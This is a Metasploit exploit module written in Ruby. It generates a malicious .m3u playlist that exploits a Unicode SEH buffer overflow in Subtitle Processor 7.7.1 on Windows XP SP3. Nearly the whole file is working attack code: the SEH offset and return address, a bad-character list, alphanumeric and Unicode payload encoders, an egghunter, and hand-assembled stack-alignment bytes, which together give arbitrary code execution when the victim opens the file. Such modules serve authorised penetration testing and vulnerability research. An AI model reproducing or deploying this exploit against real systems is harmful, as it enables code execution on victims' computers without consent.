##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Egghunter

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Subtitle Processor 7.7.1 .M3U SEH Unicode Buffer Overflow",
        'Description' => %q{
          This module exploits a vulnerability found in Subtitle Processor 7.  By
          supplying a long string of data as a .m3u file, Subtitle Processor first converts
          this input in Unicode, which expands the string size, and then attempts to copy it
          inline on the stack.  This results a buffer overflow with SEH overwritten, allowing
          arbitrary code execution.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Brandon Murphy', # Initial discovery, poc
          'sinn3r', # Metasploit
        ],
        'References' => [
          [ 'CVE', '2011-10025' ],
          [ 'OSVDB', '72050' ],
          [ 'EDB', '17217' ],
          [ 'URL', 'http://sourceforge.net/projects/subtitleproc/' ]
        ],
        'Payload' => {
          'BadChars' => "\x00\x0a\x0c\x0d\x1a\x3a\x5c\x80",
          'StackAdjustment' => -3500,
        },
        'DefaultOptions' => {
          'EXITFUNC' => "seh",
        },
        'Platform' => 'win',
        'Targets' => [
          [
            'Windows XP SP3',
            {
              'Nop' => "\x43", # ADD BYTE PTR DS:[EBX],AL
              'Offset' => 4078, # Offset to SEH chain
              'Ret' => 0x57b4,  # Unicode compatible P/P/R (Subtitle.exe)
              'Max' => 6000     # Max buffer size
            },
          ],
        ],
        'Privileged' => false,
        'DefaultTarget' => 0,
        'DisclosureDate' => '2011-04-26',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [false, 'M3U filename', 'msf.m3u'])
      ]
    )
  end

  def get_unicode_payload(p, opts)
    encoder = framework.encoders.create("x86/alpha_mixed")
    encoder.datastore.import_options_from_hash({ 'BufferRegister' => opts[:AlphaNumRegister] })
    alpha_payload = encoder.encode(p, nil, nil, platform)

    # This code can be found after the unicode payload is decoded
    alignment = opts[:PrependAlignment] || ""

    encoder = framework.encoders.create("x86/unicode_mixed")
    encoder.datastore.import_options_from_hash({ 'BufferRegister' => opts[:UnicodeRegister] })
    unicode_payload = encoder.encode(alignment + alpha_payload, nil, nil, platform)
    return unicode_payload
  end

  def exploit
    nop = target['Nop']
    sploit = ''

    hunter, p = generate_egghunter(payload.encoded, payload_badchars, { :checksum => false })

    opts = {
      :AlphaNumRegister => 'EAX',
      :UnicodeRegister => 'ECX',
      # PUSH EBX; POP EAX; XOR AX, 0x4450; XOR AX, 0x4634; DEC EAX; XOR AL, 0x41; XOR AL, 0x57
      :PrependAlignment => "\x53\x58\x66\x35\x50\x44\x66\x35\x34\x46\x48\x34\x41\x34\x57"
    }
    hunter = get_unicode_payload(hunter, opts)

    sploit << rand_text_alpha(target['Offset'])
    sploit << "\x61"
    sploit << nop
    sploit << [target.ret].pack('V*')
    sploit << nop
    # first stage starts here
    sploit << "\x59"     # POP ECX
    sploit << nop
    sploit << "\x54"     # PUSH ESP
    sploit << nop
    sploit << "\x59"     # POP ECX
    sploit << "\x41"     # ADD BYTE PTR DS:[ECX], AL
    sploit << "\x59"     # POP ECX
    sploit << nop
    sploit << "\x51"     # PUSH ECX
    sploit << nop
    sploit << "\xc3"     # RET
    sploit << rand_text_alpha(48)
    sploit << hunter
    sploit << rand_text_alpha(200)
    sploit << p
    sploit << rand_text_alpha(target['Max'] - sploit.length)

    # Generate file
    print_status("Creating #{datastore['FILENAME']}...")
    file_create(sploit)
  end
end